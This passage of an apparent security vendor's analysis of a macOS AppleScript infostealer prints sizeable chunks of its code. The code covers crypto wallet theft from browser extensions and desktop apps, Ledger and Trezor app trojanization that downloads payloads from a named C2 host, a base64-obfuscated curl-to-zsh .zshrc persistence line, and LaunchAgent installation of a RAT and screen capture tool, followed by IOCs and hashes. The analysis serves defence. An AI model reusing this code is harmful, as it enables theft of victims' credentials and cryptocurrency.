    set dbFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
    repeat with dbFile in dbFiles
    
		--snip--
end try

The FilegrabberFDA variant is a Full Disk Access aware version that uses the shell find command with -iname and -print0 patterns instead of Finder, which is faster and works correctly when the process has FDA granted. The FDA variant also captures Safari's form autofill values and browsing history database in addition to cookies, adding saved autofill entries to the stolen dataset.

set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)

FilegrabberFDANotes is a stripped-down variant that only copies the Apple Notes database, used in execution paths where FDA is available but a full file grab is not needed.

on FilegrabberFDANotes(writemind, profile)
    try
        readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite",     writemind & "Notes/NoteStore.sqlite")
        readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
        readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
    end try
end FilegrabberFDANotes

Cryptocurrency Wallet Theft

The wallet theft section is arguably the highest-value component of the entire payload from the attacker's perspective. It is split into two distinct functions. One targets the browser extension wallets and one targets standalone desktop wallet applications, covering most of cryptocurrency wallets users store their assets on macOS.

The browser extension targets span nearly every major blockchain ecosystem, from Ethereum and Solana to Cosmos, Cardano, Aptos, Sui, TRON, and more than a dozen others. The desktop wallet list covers applications like Exodus, Electrum, Atomic Wallet, and Ledger Live that store encrypted wallet data in known filesystem locations.

ChromiumWallets targeting 90 browser extension crypto wallets by extension ID

The ChromiumWallets handler uses the same browser profile enumeration as the Chromium handler, but instead of password managers and 2FA tools, it contains roughly ninety cryptocurrency wallet extension IDs. The Wallet IDs span accros MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ronin, TronLink, Keplr, and many more.

$ cat cryptowallets | python3 findextension.py 
nkbihfbeogaeaoehlefnkodbefgpgknn  ->  MetaMask
bfnaelmomeimhlpmgjnjophhpkkoljpa  ->  Phantom
hnfanknocfeofbddgcijnmhnfnkdnaad  ->  Coinbase Wallet extension
fnjhmkhhmkbjkkabndcnnogagogbneec  ->  Ronin Wallet
acmacodkjbdgmoleebolmdjonilkdbch  ->  Rabby Wallet
egjidjbpglichdcondbcbdnbeeppgdph  ->  Trust Wallet
aholpfdialjgjfhomihkjbmgjidlcdno  ->  Exodus Web3 Wallet
pdliaogehgdbhbnmkklieghmmjkpigpa  ->  Bybit Wallet
mcohilncbfahbmgdjkbpemcciiolgcge  ->  OKX Wallet
hpglfhgfnhbgpjdenjgmdgoeiappafln  ->  Guarda Crypto Wallet
bhhhlbepdkbapadjdnnojkbgioiodbic  ->  Solflare Wallet
cjmkndjhnagcfbpiemnkdpomccnjblmj  ->  Finnie
kamfleanhcmjelnhaeljonilnmjpkcjc  ->  Inspect - Crypto | NFTs | DeFi | Web3
jnldfbidonfeldmalbflbmlebbipcnle  ->  Chrome Web Store
fdcnegogpncmfejlfnffnofpngdiejii  ->  Razor Wallet
klnaejjgbibmhlephnhpmaofohgkpgkd  ->  Bearby
kjjebdkfeagdoogagbhepmbimaphnfln  ->  Ultra Wallet
ldinpeekobnhjjdofggfgjlcehhmanlj  ->  Leather
kpfchfdkjhcoekhdldggegebfakaaiog  ->  FRWT Secure DeFi Crypto Wallet
idnnbdplmphpflfnlkomgpfbpcgelopg  ->  Xverse: Bitcoin Crypto Wallet
mlhakagmgkmonhdonhkpjeebfphligng  ->  ABC Wallet - Safe Web3 wallet
bipdhagncpgaccgdbddmbpcabgjikfkn  ->  Clown Wallet
nhnkbkgjikgcigadomkphalanndcapjk  ->  CLV Wallet
klghhnkeealcohjjanjjdaeeggmfmlpl  ->  Zerion Wallet: Crypto &amp; DeFi
ebfidpplhabeedpnhjnobghokpiioolj  ->  Fewcha Move Wallet
emeeapjkbcbpbpgaagfchmcgglmebnen  ->  Surf Wallet
fldfpgipfncgndfolcbkdeeknbbbnhcc  ->  My Wallet • Crypto &amp; Web3
penjlddjkjgpnkllboccdgccekpkcbin  ->  OpenMask - TON wallet
hmeobnfnfcmdkdcmlblgagmfpfboieaf  ->  Ctrl Wallet
omaabbefbmiijedngplfjmnooppbclkk  ->  Tonkeeper — wallet for TON
jnlgamecbpmbajjfhmmmlhejkemejdma  ->  Braavos: Bitcoin &amp; Starknet Wallet
fpkhgmpbidmiogeglndfbkegfdlnajnf  ->  Cosmostation Wallet
bifidjkcdpgfnlbcjpdkdcnbiooooblg  ->  Fuelet Wallet | Fuel
amkmjjmmflddogmhpjloimipbofnfjih  ->  Wombat - Gaming Wallet for Ethereum &amp; EOS
aeachknmefphepccionboohckonoeemg  ->  Coin98 Wallet Extension: Crypto &amp; Defi
dmkamcknogkgcdfhhbddcghachkejeap  ->  Keplr
aiifbnbfobpmeekipheeijimdpnlpgpp  ->  Station Wallet
ehgjhhccekdedpbkifaojjaefeohnoea  ->  Ambire Web3 Wallet
nknhiehlklippafakaeklbeglecifhad  ->  Nabox Wallet
nphplpgoakhhjchkkhmiggakijnkhfnd  ->  TON Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec  ->  TronLink
afbcbjpbpfadlkmhmclhkeeodmamcflc  ->  MathWallet
efbglgofoippbgcjepnhiblaibcnclgk  ->  Martian Aptos &amp; Sui Wallet Extension
fccgmnglbhajioalokbcidhcaikhlcpm  ->  Zapit: Crypto Wallet &amp; P2P Exchange
mgffkfbidihjpoaomajlbgchddlicgpn  ->  Pali Wallet
fopmedgnkfpebgllppeddmmochcookhc  ->  Suku Wallet
jojhfeoedkpkglbfimdfabpdfjaoolaf  ->  Polymesh Wallet
abkahkcbhngaebpcgfmhkoioedceoigp  ->  Casper Wallet
gkeelndblnomfmjnophbhfhcjbcnemka  ->  Bitverse Wallet
hgbeiipamcgbdjhfflifkgehomnmglgk  ->  Harbor - Crypto Wallet
ellkdbaphhldpeajbepobaecooaoafpg  ->  ASI Alliance Wallet
mdnaglckomeedfbogeajfajofmfgpoae  ->  Energy8 Wallet
ckklhkaabbmdjkahiaaplikpdddkenic  ->  Internet Money | Crypto Wallet
fmblappgoiilbgafhjklehhfifbdocee  ->  Forbole X
cnmamaachppnkjgnildpdmkaakejnhae  ->  Auro Wallet
fijngjgcjhjmmpcmkeiomlglpeiijkld  ->  Talisman Wallet
lbjapbcmmceacocpimbpbidpgmlmoaao  ->  Metalet
ibljocddagjghmlpgihahamcghfggcjc  ->  Virgo Wallet
gkodhkbmiflnmkipcmlhhgadebbeijhh  ->  Soter | Aleo Wallet
dbgnhckhnppddckangcjbkjnlddbjkna  ->  Fin Wallet For Sei
agoakfejjabomempkjlepdflaleeobhb  ->  Core Wallet: Crypto Made Easy
dgiehkgfknklegdhekgeabnhgfjhbajd  ->  Chrome Web Store
onhogfjeacnfoofkfgppdlbmlmnplgbn  ->  SubWallet - Polkadot Wallet
ojggmchlghnjlapmfbnjholfjkiidbch  ->  Venom Wallet
pmmnimefaichbcnbndcfpaagbepnjaig  ->  FoxWallet
anokgmphncpekkhclmingpimjmcooifb  ->  Chrome Web Store
kkpllkodjeloidieedojogacfhpaihoh  ->  Enkrypt: ETH, BTC and Solana Wallet
iokeahhehimjnekafflcihljlcjccdbe  ->  Alby - Bitcoin Wallet for Lightning &amp; Nostr
ifckdpamphokdglkkdomedpdegcjhjdp  ->  ONTO Wallet
loinekcabhlmhjjbocijdoimmejangoa  ->  Glass wallet | Sui wallet
fcfcfllfndlomdhbehjjcoimbgofdncg  ->  Chrome Web Store
ifclboecfhkjbpmhgehodcjpciihhmif  ->  Klever Wallet
ookjlbkiijinhpmnjffcofjonbfbgaoc  ->  Temple Wallet
oafedfoadhdjjcipmcbecikgokpaphjk  ->  CoinWallet: BTC Crypto Wallet
mapbhaebnddapnmifbbkgeedkeplgjmf  ->  Biport Wallet
lgmpcpglpngdoalbgeoldeajfclnhafa  ->  SafePal Extension Wallet
ppbibelpcjmhbdihakflkdcoccbgbkpo  ->  UniSat Wallet
ffnbelfdoeiohenkjibnmadjiehjhajb  ->  SecondFi (Yoroi)
opcgpfmipidbgpenhmajoajpbobppdil  ->  Slush — A Sui wallet
hdkobeeifhdplocklknbnejdelgagbao  ->  Crypto wallet – Bitcoin &amp; USDT
lnnnmfcpbkafcpgdilckhmhbkkbpkmid  ->  Koala Wallet
nbdhibgjnjpnkajaghbffjbkcgljfgdi  ->  Ramper Wallet
kmhcihpebfmpgmihbkipcmlmmioameka  ->  Chrome Web Store
kmphdnilpmdejikjdnlbcnmnabepfgkh  ->  OsmWallet - Your XRP wallet.
khpkpbbcccdmmclmpigdgddabeilkdpd  ->  Chrome Web Store
dlcobpjiigpikoobohmabehhmhfoodbb  ->  Ready X
mkpegjkblkkefacfnmkajcjmabijhclg  ->  Magic Eden Wallet
dldjpboieedgcmpkchcjcbijingjcgok  ->  Fuel Wallet
jiidiaalihmmhddjgbnbgdfflelocpak  ->  Bitget Wallet - Crypto, Web3 | Bitcoin &amp; USDT

For each profile in each browser, it targets only the Local Extension Settings and IndexedDB paths, since those are the two locations where browser extension wallets store their encrypted vault data, IndexedDB entries, and locally cached key material. Using grabPlugins with the wallet ID list, only matching extension folders are copied rather than the entirety of a browser's extension storage, keeping the retrieved data smaller in amount.

The IndexedDB pass uses the index=true flag, which tells grabPlugins to organize the output under an IndexedDB/ subdirectory to preserve the path structure that offline analysis tools expect. This is a specific code on grabPlugins that handles organizing data on IndexedDB/ directory if index value is set to true.

// code copied from grabPlugins  handler

if index then
    set newsavepath to savePath & "/IndexedDB/" & PFile
end if

Many of these extensions store AES-encrypted seed phrase vaults in LevelDB databases inside these directories, and having both the encrypted vault and the browser's Safe Storage key recovered from Keychain, gives the attacker everything needed to decrypt them offline.

on ChromiumWallets(writemind, chromium_map)
    try
        set pluginList to {}
        --snip--
        set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"} -- MetaMask
        set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"} -- Ronin
        set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"} -- Coinbase
        --snip--
        
        set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
            try
                set fileList to list folder item 2 of chromium without invisibles
                repeat with currentItem in fileList
                    if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                        set profileName to (item 1 of chromium & currentItem)
                        repeat with CFile in chromiumFiles
                            set readpath to (item 2 of chromium & currentItem & CFile)
                            if ((CFile as string) is equal to "/Local Extension Settings/") then
                                grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
                            else if (CFile as string) is equal to "/IndexedDB/" then
                                grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
                            end if
                        end repeat
                    end if
                end repeat
            end try
        end repeat
    end try
end ChromiumWallets

DesktopWallets copies data directories for 20+ desktop wallet apps

The DesktopWallets handler is a lot simpler than ChromiumWallets. It iterates over a list of twenty-one desktop wallet applications and their known directory paths, calling GrabFolder on each one to copy their entire directory.

on DesktopWallets(writemind, deskwals)
    try
        repeat with deskwal in deskwals
            try
                GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
            end try
        end repeat
    end try
end DesktopWallets

The targets include Exodus, Electrum, Atomic Wallet, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Armory, Electron Cash, Monero, Litecoin Core, Dash Core, Dogecoin Core, Electrum-LTC, BlueWallet, Zengo, Trust Wallet desktop, Ledger Live, Ledger Wallet, and Trezor Suite.

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus",        library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum",      profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic",        library & "Atomic Wallet/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda",        library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Coinomi",       library & "Coinomi/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow",       profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi",        profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core",  library & "Bitcoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Armory",        library & "Armory/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electron_Cash", profile & "/.electron-cash/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero",        profile & "/.bitmonero/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Litecoin_Core", library & "Litecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core",     library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC",  profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet",    library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo",         library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust",         library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live",   library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite",  library & "@trezor"}}

These directories typically contain wallet database files, encrypted keystores, configuration files with account metadata, and in some cases unencrypted private key exports that users have generated and forgotten.

Wallet App Trojanization

Hardware wallets like Ledger and Trezor might have been chosen as targets because, since their seeds are stored offline on the physical device, users might believe their seed phrases are protected even from malware.

By replacing the software application on the victim's Mac with a backdoored version, the attacker can intercept seed phrases and PINs the next time the user opens the app to perform a legitimate transaction. The attacker targets the app.asar file, which is the Electron application, and the Info.plist metadata file, swapping both with attacker versions downloaded from their server.

The re-signing step using codesign -f -s - applies a signature that prevents Gatekeeper from immediately rejecting the modified app.

if ledger_installed then
    do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 9dd465d26c7d86b4a6f514a4b46b2295' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
    do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
    if app_exists then
        do shell script "cp -rf " & quoted form of LEDGERDEST & " " & quoted form of LEDGERTMPDEST
        do shell script "rm -rf " & quoted form of LEDGERDEST
        do shell script "mv " & quoted form of LEDGERTMPDEST & " " & quoted form of LEDGERDEST
        do shell script "mv " & quoted form of LEDGERPATH0 & " " & quoted form of LEDGERDESTFILE0  -- swap app.asar
        do shell script "mv " & quoted form of LEDGERPATH1 & " " & quoted form of LEDGERDESTFILE1  -- swap Info.plist
        do shell script "codesign -f -s - " & quoted form of LEDGERDEST  -- re-sign with ad-hoc cert
    end if
end if

Ledger Wallet


The code first checks if /Applications/Ledger Wallet.app exists using a shell test -d command and only continues if existing, avoiding unnecessary work on systems where Ledger is not installed.

try
    do shell script "test -d " & quoted form of LEDGERDEST
    set ledger_installed to true
on error

If found, it downloads a ZIP archive from the C2 server containing a malicious app.asar and Info.plist, using the API key seen before. The path for the wallet malicious code is found on URI /ledger/ on the attacker’s server.

set LEDGERURL to "https://orangecountyfulfillment.com/ledger/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171"
set LEDGERMOUNT to "/tmp"
set LEDGERPATH0 to LEDGERMOUNT & "/app.asar"
set LEDGERPATH1 to LEDGERMOUNT & "/Info.plist"
set LEDGERDMGPATH to LEDGERMOUNT & "/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171.zip"
set LEDGERNAME to "Ledger Wallet.app"
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
set LEDGERTMPDEST to "/tmp/Ledger Wallet.app"
set LEDGERDESTFILE0 to LEDGERDEST & "/Contents/Resources/app.asar"
set LEDGERDESTFILE1 to LEDGERDEST & "/Contents/Info.plist"

The legitimate app is temporarily backed up by copying it to a /tmp/ path, then the original is deleted and the malicious takes its place into /Applications/, at which point the two malicious files are swapped in by overwriting the corresponding paths inside the restored bundle.

The codesign -f -s - command then forcefully re-signs the entire application bundle with an ad-hoc signature, which is sufficient to make macOS treat it as properly signed even though no developer identity is attached. From the user's perspective, the Ledger Wallet app completely normal while their seed phrase or PIN is silently exfiltrated to the attacker.

if app_exists then
    try
        do shell script "cp -rf " & quoted form of LEDGERDEST & " " & quoted form of LEDGERTMPDEST
        do shell script "rm -rf " & quoted form of LEDGERDEST
        do shell script "mv " & quoted form of LEDGERTMPDEST & " " & quoted form of LEDGERDEST
        do shell script "mv " & quoted form of LEDGERPATH0 & " " & quoted form of LEDGERDESTFILE0
        do shell script "mv " & quoted form of LEDGERPATH1 & " " & quoted form of LEDGERDESTFILE1
        do shell script "codesign -f -s - " & quoted form of LEDGERDEST
        do shell script "rm -f " & quoted form of LEDGERDMGPATH
    end try
end if

Ledger Live

The Ledger Live trojanization section follows the same logic as the Ledger Wallet section but targets the older Ledger Live.app. Both apps are targeted because the victim may have either or both versions installed. The payload downloaded for Ledger Live is this time served from on the URI path /ledger/live/ versus /ledger/.

set LEDGERURL to "https://orangecountyfulfillment.com/ledger/live/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171"
set LEDGERMOUNT to "/tmp"
set LEDGERPATH0 to LEDGERMOUNT & "/app.asar"
set LEDGERPATH1 to LEDGERMOUNT & "/Info.plist"
set LEDGERDMGPATH to LEDGERMOUNT & "/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171.zip"
set LEDGERNAME to "Ledger Live.app"
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
set LEDGERTMPDEST to "/tmp/Ledger Live.app"
set LEDGERDESTFILE0 to LEDGERDEST & "/Contents/Resources/app.asar"
set LEDGERDESTFILE1 to LEDGERDEST & "/Contents/Info.plist"

Trezor Suite

The Trezor Suite trojanization targets /Applications/Trezor Suite.app the same logic as Ledger cases, with the difference of using cp rather than mv to place the malicious app.asar and Info.plist. One other chance this code has, is adding an xattr -cr command to strip all extended attributes from the modified application bundle, such as the quarantine flag that Gatekeeper uses to flag files downloaded from the internet. Removing them allows the trojanized app to launch without triggering the "This app was downloaded from the internet" warning dialog.

do shell script "cp -rf " & quoted form of destPath & " " & quoted form of backupPath
do shell script "xattr -cr " & quoted form of destPath

The URI pth this time is /trezor/

set trezorURL to "https://orangecountyfulfillment.com/trezor/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171"

Persistence Mechanisms

Shell profile injection initial persistence

As seen on the FA section, the malware will try to persist on user’s ~/.zshrc file using a download and execution of the initial loader, so in the case of a terminal closing, the malware will continue execution.

set app_curl to "curl -kfsSL $(echo 'aHR0cDovL29yYW5nZWNvdW50eWZ1bGZpbGxtZW50LmNvbS9jdXJsL2NiOGFiYTk0MGFmMmQxYzA1ZDgwMGM3M2VlZmQ1OTg1MDViNzM3N2IyODhiYzZjZDM5YjBjOTdlY2U2MmIxNzE='|base64 -D)|zsh"
try
    do shell script "grep -Fvx " & quoted form of app_curl & " /tmp/.zshrc > /tmp/.zshrc.tmp || mv /tmp/.zshrc.tmp /tmp/.zshrc"
end try
try
    do shell script "grep -Fxq " & quoted form of app_curl & " ~/.zshrc || echo " & quoted form of app_curl & " >> ~/.zshrc"
end try

LaunchAgent

The LaunchAgent mechanism downloads a compiled binary called com.apple.1d9e9745.hcpi from the C2 server and saves it to ~/.local/, a hidden directory in the user's home folder that mimics the naming convention of legitimate Apple system components to reduce suspicion. The binary is made executable, immediately launched in the background, and the previously harvested password is written to ~/.local/.mpwd so the binary can use it for further Keychain access or browser decryption without needing to prompt the user again. A capture agent is also downloaded and installed alongside the main loader at ~/.local/com.apple.1d9e9745.capture.app, which is re-signed with a custom identifier com.apple.1d9e9745.capture to make it appear as a legitimate Apple process component. The LaunchAgent plist is written to ~/Library/LaunchAgents/ using PlistBuddy with RunAtLoad=true (launch immediately when the user logs in) and KeepAlive=true (restart automatically if it exits or is killed). Together these settings mean the loader runs at every login and restarts itself if terminated, making it resistant to manual attempts to kill the process without also removing the plist.

set loaderDir to profile & "/.local"
set loaderBin to loaderDir & "/com.apple.1d9e9745.hcpi"

try
    do shell script "test -d " & quoted form of loaderDir
on error
    do shell script "mkdir " & quoted form of loaderDir
end try

try
    do shell script "curl -kfsSL 'https://orangecountyfulfillment.com/loader/agent/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171' -o " & quoted form of loaderBin
    do shell script "chmod +x " & quoted form of loaderBin
    do shell script "printf '%s' " & quoted form of password_entered & " > " & quoted form of (loaderDir & "/.mpwd")
    do shell script loaderBin & " &>/dev/null &"
    set loaderCapture to loaderDir & "/com.apple.1d9e9745.capture.app"
    set capZip to "/tmp/.1d9e9745.cap.zip"
    do shell script "curl -kfsSL 'https://orangecountyfulfillment.com/loader/capture-agent/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171' -o " & quoted form of capZip & " 2>/dev/null || true"
    do shell script "rm -rf " & quoted form of loaderCapture & " ; unzip -o -q " & quoted form of capZip & " -d " & quoted form of loaderDir & " 2>/dev/null ; for f in " & quoted form of loaderDir & "/*.capture.app ; do [ -d \"$f\" ] && mv \"$f\" " & quoted form of loaderCapture & " && codesign -s - --identifier com.apple.1d9e9745.capture --force --deep " & quoted form of loaderCapture & " 2>/dev/null && break ; done ; rm -f " & quoted form of capZip & " || true"

end try
try
    set loaderPlist to profile & "/Library/LaunchAgents/com.apple.1d9e9745.hcpi.plist"
    do shell script "mkdir -p ~/Library/LaunchAgents"
    do shell script "/usr/libexec/PlistBuddy -c 'Add :Label string com.apple.1d9e9745.hcpi' " & quoted form of loaderPlist & " 2>/dev/null; true"
    do shell script "/usr/libexec/PlistBuddy -c 'Add :ProgramArguments array' " & quoted form of loaderPlist
    do shell script "/usr/libexec/PlistBuddy -c 'Add :ProgramArguments:0 string " & loaderBin & "' " & quoted form of loaderPlist
    do shell script "/usr/libexec/PlistBuddy -c 'Add :RunAtLoad bool true' " & quoted form of loaderPlist
    do shell script "/usr/libexec/PlistBuddy -c 'Add :KeepAlive bool true' " & quoted form of loaderPlist
end try

Screen Capture

The archive downloaded from path /loader/capture-agent/, contains a version of ScreenCap, which is used to capture screenshots of the target’s machine. The archive contains the malware binary and the plist file.

The tool will be installed as a LaunchAgent, with RunAtLoad and KeepAlive set to True, meaning the tool will start on every login and it will relaunch itself upon killing.

try
    --snip--
    set loaderCapture to loaderDir & "/com.apple.1d9e9745.capture.app"
    set capZip to "/tmp/.1d9e9745.cap.zip"
    do shell script "curl -kfsSL 'https://orangecountyfulfillment.com/loader/capture-agent/cb8aba940af2d1c05d800c73eefd598505b7377b288bc6cd39b0c97ece62b171' -o " & quoted form of capZip & " 2>/dev/null || true"
    do shell script "rm -rf " & quoted form of loaderCapture & " ; unzip -o -q " & quoted form of capZip & " -d " & quoted form of loaderDir & " 2>/dev/null ; for f in " & quoted form of loaderDir & "/*.capture.app ; do [ -d \"$f\" ] && mv \"$f\" " & quoted form of loaderCapture & " && codesign -s - --identifier com.apple.1d9e9745.capture --force --deep " & quoted form of loaderCapture & " 2>/dev/null && break ; done ; rm -f " & quoted form of capZip & " || true"

end try
try
    set loaderPlist to profile & "/Library/LaunchAgents/com.apple.1d9e9745.hcpi.plist"
    do shell script "mkdir -p ~/Library/LaunchAgents"
    do shell script "/usr/libexec/PlistBuddy -c 'Add :Label string com.apple.1d9e9745.hcpi' " & quoted form of loaderPlist & " 2>/dev/null; true"
    do shell script "/usr/libexec/PlistBuddy -c 'Add :ProgramArguments array' " & quoted form of loaderPlist
    do shell script "/usr/libexec/PlistBuddy -c 'Add :ProgramArguments:0 string " & loaderBin & "' " & quoted form of loaderPlist
    do shell script "/usr/libexec/PlistBuddy -c 'Add :RunAtLoad bool true' " & quoted form of loaderPlist
    do shell script "/usr/libexec/PlistBuddy -c 'Add :KeepAlive bool true' " & quoted form of loaderPlist
end try

Exaforce Coverage

Endpoint Detection

Exaforce covers endpoint detection from HTTP requests being done, up to attempts to steal information, escalate privileges or any other malicious tasks attempted on the machine. Upon confirming validity of the attack, we also respond by blocking the user from accessing corporate assets, to prevent further spreading of the attack.

Cloud and SaaS detection

If the attacker manages to retrieve Cloud and other SaaS application access through stolen credentials from any of their credential stealing sections, Exaforce has a large list of detections for attacks on Cloud Providers, SaaS applications, endpoint and on-prem environments, as well as any relationship between them.

Indicators of Compromise

C2 Infrastructure Summary

Endpoint Purpose
orangecountyfulfillment.com/curl/<hash> .zshrc injected re-loader
orangecountyfulfillment.com/ledger/<hash> Trojanized Ledger Wallet payload
orangecountyfulfillment.com/ledger/live/<hash> Trojanized Ledger Live payload
orangecountyfulfillment.com/trezor/<hash> Trojanized Trezor Suite payload
orangecountyfulfillment.com/loader/agent/<hash> Persistent RAT binary
orangecountyfulfillment.com/loader/capture-agent/<hash> Screen/input capture agent
api-key: 9dd465d26c7d86b4a6f514a4b46b2295 Shared API key on all C2 requests

Malicious file hashes

Filename Filetype Hash
Initial Loader ZSH file 50fb96f12f3f3049b8aa2a70fd7464f594063fdb510d7c08d0edd1a691062c65
Malicious AppleScript Infostealer AppleScript ce94f66c8f537ae5544d84d19105ac8c507b3fc24aa4c431bdda2a18a4cd4b95
LedgerWallet.zip Zip Archive e41ff0b987366c1e63db1661dc08158d720723d25a51d295c0570dd75a263062
LedgerWallet/app.asar Electron ASAR archive 3ae39677a5a364d4e58895044db1737f0169d09bbd347607395417e4a4f2b78a
LedgerWallet/Info.plist XML File 8197c483a14a2194dfea968d6aedbfc8b4069f573beed2ede22ddec06332cb5f
LedgerLive.zip Zip Archive 3e90e835b44fdf2a0868a491b332aa2207d8a16e5d9846f43c324819d6b1985e
LedgerLive/app.asar Electron ASAR archive 1a73ff0b3e848372f9a31f22715b9b4d27cfc913edd04754a35849d86875f50a
LedgerLive/Info.plist XML File 2475ddc93ca43abcb97180da4aab3f73577c150cfc4206f1b926be447a5da6b7
Trezor.zip Zip Archive 690eb384408140bb85f2add6914a1c491fb9f866d64627f5091f3e29bd50d188
LoaderAgent.macho Mach-o Binary de1217d1ecfcaaa44cf942d567cd4eab07ec83dc327482c6379550cb859f18fd
ScreenCaptureAgent.zip Zip Archive 35d81d560a381aa302abf0b2346d4dd471507a7442108d05df50a8dad683eff3
ScreenCaptureAgent ScreenCap Binary Mach-o Binary 9c09c303fa058c2d3e179969bd58ca5523775ff2d310fb2f8266ac74cb21ee81
ScreenCaptureAgent Info.plist XML File 0d411d7684884155623bc71a8f5ed8701b81633d28444e1d93321a766576a257
Trezor/app.asar Electron ASAR archive 3857aeeb5ea2075c1eb5f10cb8e12fb24d80ee156f0893b7c22bc4bbd2a41267
Trezor/Info.plist XML File d190b1ea2b8ace49108081c4959fc1bd4ca1d59cbd3d12056644e6c6475b8dae

Browser extensions

Browser Wallets

$ cat cryptowallets | python3 findextension.py
nkbihfbeogaeaoehlefnkodbefgpgknn  ->  MetaMask
bfnaelmomeimhlpmgjnjophhpkkoljpa  ->  Phantom
hnfanknocfeofbddgcijnmhnfnkdnaad  ->  Coinbase Wallet extension
fnjhmkhhmkbjkkabndcnnogagogbneec  ->  Ronin Wallet
acmacodkjbdgmoleebolmdjonilkdbch  ->  Rabby Wallet
egjidjbpglichdcondbcbdnbeeppgdph  ->  Trust Wallet
aholpfdialjgjfhomihkjbmgjidlcdno  ->  Exodus Web3 Wallet
pdliaogehgdbhbnmkklieghmmjkpigpa  ->  Bybit Wallet
mcohilncbfahbmgdjkbpemcciiolgcge  ->  OKX Wallet
hpglfhgfnhbgpjdenjgmdgoeiappafln  ->  Guarda Crypto Wallet
bhhhlbepdkbapadjdnnojkbgioiodbic  ->  Solflare Wallet
cjmkndjhnagcfbpiemnkdpomccnjblmj  ->  Finnie
kamfleanhcmjelnhaeljonilnmjpkcjc  ->  Inspect - Crypto | NFTs | DeFi | Web3
jnldfbidonfeldmalbflbmlebbipcnle  ->  Chrome Web Store
fdcnegogpncmfejlfnffnofpngdiejii  ->  Razor Wallet
klnaejjgbibmhlephnhpmaofohgkpgkd  ->  Bearby
kjjebdkfeagdoogagbhepmbimaphnfln  ->  Ultra Wallet
ldinpeekobnhjjdofggfgjlcehhmanlj  ->  Leather
kpfchfdkjhcoekhdldggegebfakaaiog  ->  FRWT Secure DeFi Crypto Wallet
idnnbdplmphpflfnlkomgpfbpcgelopg  ->  Xverse: Bitcoin Crypto Wallet
mlhakagmgkmonhdonhkpjeebfphligng  ->  ABC Wallet - Safe Web3 wallet
bipdhagncpgaccgdbddmbpcabgjikfkn  ->  Clown Wallet
nhnkbkgjikgcigadomkphalanndcapjk  ->  CLV Wallet
klghhnkeealcohjjanjjdaeeggmfmlpl  ->  Zerion Wallet: Crypto & DeFi
ebfidpplhabeedpnhjnobghokpiioolj  ->  Fewcha Move Wallet
